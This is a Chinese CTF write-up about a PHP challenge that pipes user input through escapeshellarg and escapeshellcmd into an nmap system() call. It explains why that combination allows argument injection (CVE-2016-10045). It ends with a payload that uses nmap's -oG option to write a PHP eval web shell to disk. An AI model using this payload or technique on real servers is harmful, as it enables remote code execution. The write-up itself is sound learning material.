1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
  • 看到escapeshellarg和escapeshellcmd连用就会想到CVE-2016-10045

escapeshellarg

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符

1
2
var_dump(escapeshellarg("aa'bb"));
//输出string(10) "'aa'\''bb'"
  • 可以看到escapeshellarg主要干了两件事:
    1. 用\转义已有的’,然后’’将'括起来
    2. 在字符串两端添加’’
  • 其目的就是限制shell命令只能有一个参数(当然也只能执行一条命令)
    1
    2
    3
    <?php
    system("ls ".$_GET['cmd']);
    system("ls ".escapeshellarg($_GET['cmd']));
    传入?cmd=/ /var
    第一个system会执行
    1
    ls / /var
    第二个system会执行
    1
    ls '/ /var'

escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

  • escapeshellcmd会在一些shell的特殊字符前面加上\将其转义
  • escapeshellcmd的目的就是使其只能执行一条命令,但允许多个参数

两者连用

  • 先使用escapeshellarg,再使用escapeshellcmd就会导致注入多个参数的问题(也就相当于escapeshellarg失效)
    1
    2
    3
    4
    5
    6
    $cmd = $_GET['cmd'];
    $cmd = escapeshellarg($cmd);
    var_dump($cmd);
    $cmd = escapeshellcmd($cmd);
    var_dump($cmd);
    system('echo '.$cmd);
    ?cmd=aaa’ <?()> 123 ,输出
    1
    2
    3
    string(19) "'aaa'\'' <?()> 123'"
    string(26) "'aaa'\\'' \<\?\(\)\> 123\'"
    aaa\ <?()> 123

nmap写文件

  • CVE-2016-10045中利用参数注入的方式是利用sendmail写日志的功能去写shell,因此很自然的可以想到利用nmap去输出一个文件
  • 翻阅nmap手册可以找到输出一章 https://nmap.org/man/zh/man-output.html ,可以注入其中的参数指定写入的文件

最后payload:

1
?host=123' <?php eval($_GET[a]); ?> -oG fuck.php%20
  • 注意最后要有空格把最后的’分隔开,不然会写到fuck.php’里